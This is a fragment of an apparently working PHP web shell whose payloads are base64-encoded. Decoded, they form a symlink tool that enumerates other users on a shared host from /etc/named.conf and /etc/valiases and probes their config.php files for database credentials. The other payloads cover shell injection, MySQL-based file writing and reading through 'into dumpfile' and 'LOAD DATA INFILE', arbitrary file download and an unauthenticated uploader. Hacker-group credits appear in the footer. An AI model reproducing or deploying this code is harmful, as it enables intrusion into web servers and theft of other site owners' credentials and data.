jxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCn1lbHNlew0KZWNobyAiPHRyPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkMjwvYj48L3RkPjwvdHI+IjsNCn0NCn0NCmRpZSgpOw0KfQ0KaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsNCiRkMDBtID0gZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQp9ZWxzZXsNCiRkMDBtID0gZmlsZSgibmFtZWQudHh0Iik7DQp9DQppZighJGQwMG0pDQp7DQpkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQp7DQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRwZz9zd3M9dmInPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0luamVjdCBzaGVsbCcgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPg0KPGJyIC8+PGJyIC8+DQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCiRmID0gZm9wZW4oJ3ZiLnR4dCcsJ3cnKTsNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvaW5jbHVkZXMvY29uZmlnLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIHZiIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQp9DQpmbHVzaCgpOw0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBcbiIpOw0KaWYoJHcpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U2F2ZTwvYj4nO31lbHNleyRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nO30NCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCmJyZWFrOw0KY2FzZSAnaGVscCc6DQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5mdW5jdGlvbjwvdGQ+PHRkPkNhc2U8L3RkPiI7DQokc2FmZV9tb2RlID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogICAgIGlmKCRzYWZlX21vZGUpeyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+U2FmZSBNb2RlPC90ZD48dGQ+JHI8L3RkPiI7DQokZnVuID0gZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJyk7DQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIHN5bWxpbms8L3RkPjx0ZD4kcjwvdGQ+IjsNCiRmdW4gPSBmdW5jdGlvbl9leGlzdHMoJ2ZpbGUnKTsNCiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+ZnVuY3Rpb24gZmlsZTwvdGQ+PHRkPiRyPC90ZD4iOw0KJGZ1biA9IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKTsNCiAgICAgaWYoISRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzMzNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+ZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHM8L3RkPjx0ZD4kcjwvdGQ+IjsNCiRmdW4gPSBmdW5jdGlvbl9leGlzdHMoJ21rZGlyJyk7DQogICAgIGlmKCEkZnVuKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+RmFsc2U8L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6ICMzMzY2MDAnPlRydWU8L2I+Ijt9DQplY2hvICI8dHI+PHRkPmZ1bmN0aW9uIG1rZGlyPC90ZD48dGQ+JHI8L3RkPiI7DQokZnVuID0gaXNfZGlyKCdzeW0vcm9vdCcpOw0KICAgICBpZighJGZ1bil7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPkZhbHNlPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiAjMzM2NjAwJz5UcnVlPC9iPiI7fQ0KZWNobyAiPHRyPjx0ZD5QZXJtaXNzaW9uIGRlbmllZDwvdGQ+PHRkPiRyPC90ZD4iOw0KJGZ1biA9IHByZWdfbWF0Y2goJy9Gb3JiaWRkZW4vJyxAZmlsZV9nZXRfY29udGVudHMoJ3N5bS9yb290Jykgb3IgIUBmaWxlX2dldF9jb250ZW50cygnc3ltL3Jvb3QnKSk7DQogICAgIGlmKCRmdW4peyRyID0gIjxiIHN0eWxlPSdjb2xvcjogcmVkJz5GYWxzZTwvYj4iO31lbHNleyRyID0gIjxiIHN0eWxlPSdjb2xvcjogIzAwNjYwMCc+VHJ1ZTwvYj4iO30NCmVjaG8gIjx0cj48dGQ+Rm9yYmlkZGVuPC90ZD48dGQ+JHI8L3RkPiI7DQplY2hvICI8L3RhYmxlPjwvZGl2PiI7DQpicmVhazsNCmRlZmF1bHQ6DQpoZWFkZXIoIkxvY2F0aW9uOiAkcGciKTsNCn0NCn1lbHNlDQp7DQplY2hvICc8YnIgLz48YnIgLz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOw0KZWNobyAnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHZhbHVlPSJDaG9vc2UgZmlsZSIgc2l6ZT0iNjAiID48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7DQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGJyIC8+PGJyIC8+PGI+VXBsb2FkZWQgc3VjY2Vzc2Z1bCAhITxicj48YnI+JzsgfQ0KCWVsc2UgeyBlY2hvICc8YnIgLz48YnIgLz5Ob3QgdXBsb2FkZWQgISE8YnI+PGJyPic7IH0NCn0NCmVjaG8gJw0KPGJyIC8+PGJyIC8+PGJyIC8+PC9iPjwvYj48ZGl2IGNsYXNzPSJmb3QiPkNvZDNkIGJ5IDxiPlMzbjR0MDByPC9iPiBJZGVhIGJ5IDxiPk1yLkFsc2EzZWs8L2I+DQo8YnIgLz48YnIgLz4NCjxiIHN0eWxlPSJjb2xvcjogcmVkIjs+ICAgU2VjLXcuQ29tICA8L2I+DQo8YnIgLz48YnIgLz4NCk11c2xpbXMgSGFja2VyczwvZGl2PiAnOw0KDQp9DQpmdW5jdGlvbiBleCgkdGV4dCwkYSwkYil7DQokZXhwbG9kZSA9IGV4cGxvZGUoJGEsJHRleHQpOw0KJGV4cGxvZGUgPSBleHBsb2RlKCRiLCRleHBsb2RlWzFdKTsNCnJldHVybiAkZXhwbG9kZVswXTsNCn0NCmVjaG8gJzwvZGl2Pg0KPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6ICNGNEY0RjQ7IiB0aXRsZT0iPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/Pz8/PzwvYT4NCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8gPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/PyA/Pz8/Pz8/PC9hPg0KPC9ib2R5Pg0KPC9odG1sPg0KJzsNCj8+‘;
$file = fopen("sym.php" ,"w+");
$write = fwrite ($file ,base64_decode($symlinker));
fclose($file);
echo "<a href=damane/sym.php >Click Here</a>";
}
elseif ($action == ‚cpn‘) {
@chdir(‚damane‘);
$crackftp = ‚PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU2Jyk7DQovKg0KVHVyYm8gRm9yY2UgQnkgVHJ5YWcuQ2MNCiovDQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KaWYoJF9QT1NUWydwYWdlJ109PSdjaG1vZCcpDQp7DQokcGF0aGNsYXNzPSRfUE9TVFtwYXRoY2xhc3NdOw0KJG5hbWVmaWxlPSRfUE9TVFtuYW1lZmlsZV07DQppZihjaG1vZCgkcGF0aGNsYXNzLCRuYW1lZmlsZSkpDQp7DQplY2hvICc8Y2VudGVyPjxiPkxpY2Vuc2UgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5JzsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5GYWlsdXJlJzsNCn0NCg0KZXhpdDsNCn0NCg0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbGVfbXlzcWwnKQ0Kew0KJGNvbm5lY3QgPSBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCRfUE9TVFsnbXlzcWxfbCddLCAkX1BPU1RbJ215c3FsX3AnXSk7DQpteXNxbF9zZWxlY3RfZGIoJF9QT1NUWydteXNxbF9kYiddLCRjb25uZWN0KTsNCg0KJHF1ZXJ5ID0gIkNSRUFURSBUQUJMRSBgdHR0YCAoYHd3d3dgIFRFWFQgTk9UIE5VTEwpIEVOR0lORSA9IE1ZSVNBTSA7IjsNCmlmKG15c3FsX3F1ZXJ5KCRxdWVyeSkpDQp7DQokY29kZXM9JF9QT1NUW2NvZGVzXTsNCiRxdWVyeTIgPSAiSU5TRVJUIElOVE8gYHR0dGAgKGB3d3d3YClWQUxVRVMoJyRjb2RlcycpOyI7DQppZihteXNxbF9xdWVyeSgkcXVlcnkyKSkNCnsNCg0KJHBhdGhjbGFzcyA9ICRfUE9TVFsncGF0aGNsYXNzJ107DQppZihteXNxbF9xdWVyeShzdHJpcHNsYXNoZXMoInNlbGVjdCAqIGludG8gZHVtcGZpbGUgJyRwYXRoY2xhc3MnIGZyb20gdHR0IikpKQ0Kew0KZWNobyAiVGhlIGZpbGUgd2FzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5PGJyPiRwYXRoY2xhc3MiOw0KJHF1ZXJ5NCA9ICJEUk9QIFRBQkxFIGB0dHRgIjsNCm15c3FsX3F1ZXJ5KCRxdWVyeTQpOw0KfWVsc2V7DQokZXJyb3IgPSBteXNxbF9lcnJvcigpOw0KZWNobyAiRmFpbHVyZTxicj4kZXJyb3IiOw0KfQ0KDQp9ZWxzZXtlY2hvICdUaGVyZSBpcyBhbiBlcnJvciBpbiBhY2NlcHRpbmcgdGhlIGNvZGUnOw0KJHF1ZXJ5NCA9ICJEUk9QIFRBQkxFIGB0dHRgIjsNCm15c3FsX3F1ZXJ5KCRxdWVyeTQpOw0KfQ0KDQp9DQokcXVlcnk0ID0gIkRST1AgVEFCTEUgYHR0dGAiOw0KbXlzcWxfcXVlcnkoJHF1ZXJ5NCk7DQoNCmV4aXQ7DQp9DQoNCmlmKCRfUE9TVFsncGFnZSddPT0ncmVhZF9teXNxbCcpDQp7DQokdW5pcXVlID0gdW5pcWlkKCdOJyk7DQokZmlsZSA9ICRfUE9TVFsncGF0aGNsYXNzJ107DQokcXVlcnkgPSBhcnJheSggIkNSRUFURSBURU1QT1JBUlkgVEFCTEUgJHVuaXF1ZSAoZmlsZSBMT05HQkxPQikiLCAiTE9BRCBEQVRBIElORklMRSAnIi5teXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJGZpbGUpLiInIElOVE8gVEFCTEUgJHVuaXF1ZSIsICJTRUxFQ1QgKiBGUk9NICR1bmlxdWUiICk7DQokY29ubmVjdCA9IG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJF9QT1NUWydteXNxbF9sJ10sICRfUE9TVFsnbXlzcWxfcCddKTsNCm15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ215c3FsX2RiJ10sJGNvbm5lY3QpOw0KZWNobyAnPHRleHRhcmVhIG5hbWU9ImRiX3F1ZXJ5IiBzdHlsZT0id2lkdGg6IDgwMHB4OyBoZWlnaHQ6IDQwMHB4OyIgZGlyPSJsdHIiPic7DQpmb3JlYWNoKCRxdWVyeSBhcyAkQWxscXVlcmllcykNCnsNCiRteXNxbFF1ZXJ5ID0gbXlzcWxfcXVlcnkoJEFsbHF1ZXJpZXMsJGNvbm5lY3QpOw0Kd2hpbGUoJGxpbmUgPSBAbXlzcWxfZmV0Y2hfcm93KCRteXNxbFF1ZXJ5KSkNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSk7DQp9DQplY2hvICc8L3RleHRhcmVhPic7DQpleGl0Ow0KfQ0KaWYoJF9QT1NUWydwYWdlJ109PSdkb3dubG9hZCcpDQp7DQokbmFtZWZpbGU9JF9QT1NUWyduYW1lZmlsZSddOw0KDQppZigkX1BPU1RbJ25hbWVmaWxlJ109PW51bGwpDQp7DQokdGVzdDE9ZXhwbG9kZSgiLiIsJHBhdGhjbGFzcyk7DQppZihzdHJwb3MoJHRlc3QxWzBdLCJcXCIpKQ0Kew0KJHRlc3QyPWV4cGxvZGUoIlxcXFwiLCR0ZXN0MVswXSk7DQp9ZWxzZXsNCiR0ZXN0Mj1leHBsb2RlKCIvIiwkdGVzdDFbMF0pOw0KfQ0KJHN0PWNvdW50KCR0ZXN0Mik7DQokc3Q9JHN0LTE7DQokbmFtZWZpbGU9JHRlc3QyWyRzdF0uJy4nLiR0ZXN0MVsxXTsNCg0KfQ0KDQoJaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy5iYXNlbmFtZSgkbmFtZWZpbGUpKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOw0KICAgIGhlYWRlcignRXhwaXJlczogMCcpOw0KICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlJyk7DQogICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkbmFtZWZpbGUpKTsNCiAgICBvYl9jbGVhbigpOw0KICAgIGZsdXNoKCk7DQogICAgcmVhZGZpbGUoJHBhdGhjbGFzcyk7DQpleGl0Ow0KfQ0KDQplY2hvICcNCjxodG1sIGRpcj0icnRsIj4NCg0KPGhlYWQ+DQoNCg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLnN0eWxlMSB7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJZGlyZWN0aW9uOiBydGw7DQp9DQoNCjwhLS0NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogICAgZm9udC1zaXplOiAxOHB4Ow0KCWNvbG9yOiAjY2NjY2NjOw0KfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0ew0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpjb2xvcjogI2NjY2NjYzsNCmRhc2hlZCAjZmZmZmZmOw0KYm9yZGVyOiAxcHgNCnNvbGlkICMyQzJDMkM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4DQp9DQphIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMTUxNTE1Ow0KCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJY29sb3I6ICMwMDA7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWZvbnQtc2l6ZTogMjBweDsNCgltYXJnaW46IDhweDsNCglwYWRkaW5nOiA2cHg7DQoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7DQp9DQphOmhvdmVyIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4Ow0KCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJY29sb3I6ICMzMzM7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWZvbnQtc2l6ZTogMjBweDsNCgltYXJnaW46IDhweDsNCglwYWRkaW5nOiA2cHg7DQoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7DQp9DQouc3R5bGUxIHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouc3R5bGUyIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCn0NCi5zdHlsZTMgew0KCWNvbG9yOiAjRkZGRkZGOw0KfQ0KLS0+DQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQonOw0KDQoNCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKSANCiB7DQogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsgaWYoJHNpemUgIT0gMCkgDQogew0KICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7IGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7IHJldHVybiAkcmV0LiI+IjsgfQ0KIA0KY2xhc3MgbXlfc3FsIA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsgdmFyICRwb3J0ID0gJyc7IHZhciAkdXNlciA9ICcnOyB2YXIgJHBhc3MgPSAnJzsgdmFyICRiYXNlID0gJyc7IHZhciAkZGIgPSAnJzsgdmFyICRjb25uZWN0aW9uOyB2YXIgJHJlczsgdmFyICRlcnJvcjsgdmFyICRyb3dzOyB2YXIgJGNvbHVtbnM7IHZhciAkbnVtX3Jvd3M7IHZhciAkbnVtX2ZpZWxkczsgdmFyICRkdW1wOyBmdW5jdGlvbiBjb25uZWN0KCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgDQogew0KICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJybm8oKS4iIDogIi5AbXlzcWxfZXJyb3IoKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSANCiB7DQogJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiBpZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBtc3NxbF9jb25uZWN0KCR0aGlzLT5ob3N0LicsJy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7IGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gIkNhbid0IGNvbm5lY3QgdG8gc2VydmVyIjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIA0KIHsNCiAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQ0KICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsgaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkZXJyb3IgPSBAb2NpZXJyb3IoKTsgJHRoaXMtPmVycm9yPSRlcnJvclsnbWVzc2FnZSddOyBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gc2VsZWN0X2RiKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm5vKCkuIiA6ICIuQG15c3FsX2Vycm9yKCk7IGJyZWFrOyBjYXNlICdNU1NRTCc6IGlmKEBtc3NxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gIkNhbid0IHNlbGVjdCBkYXRhYmFzZSI7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogcmV0dXJuIDE7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiByZXR1cm4gMTsgYnJlYWs7IH0NCiByZXR1cm4gMDsgfQ0KIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkgDQogew0KICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOyBzd2l0Y2goJHRoaXMtPmRiKSANCiB7DQogY2FzZSAnTXlTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCiB7DQogJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsgcmV0dXJuIDA7IH0NCiBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSANCiB7DQogcmV0dXJuIDE7IH0NCiByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KIHsNCiAkdGhpcy0+ZXJyb3IgPSAnUXVlcnkgZXJyb3InOyByZXR1cm4gMDsgfQ0KIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgDQogew0KIHJldHVybiAxOyB9DQogcmV0dXJuIDI7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIA0KIHsNCiAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9DQogZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSANCiB7DQogcmV0dXJuIDE7IH0NCiByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSANCiB7DQogJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsgfQ0KIGVsc2UgDQogew0KIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKSANCiB7DQogaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOyByZXR1cm4gMTsgfQ0KICRlcn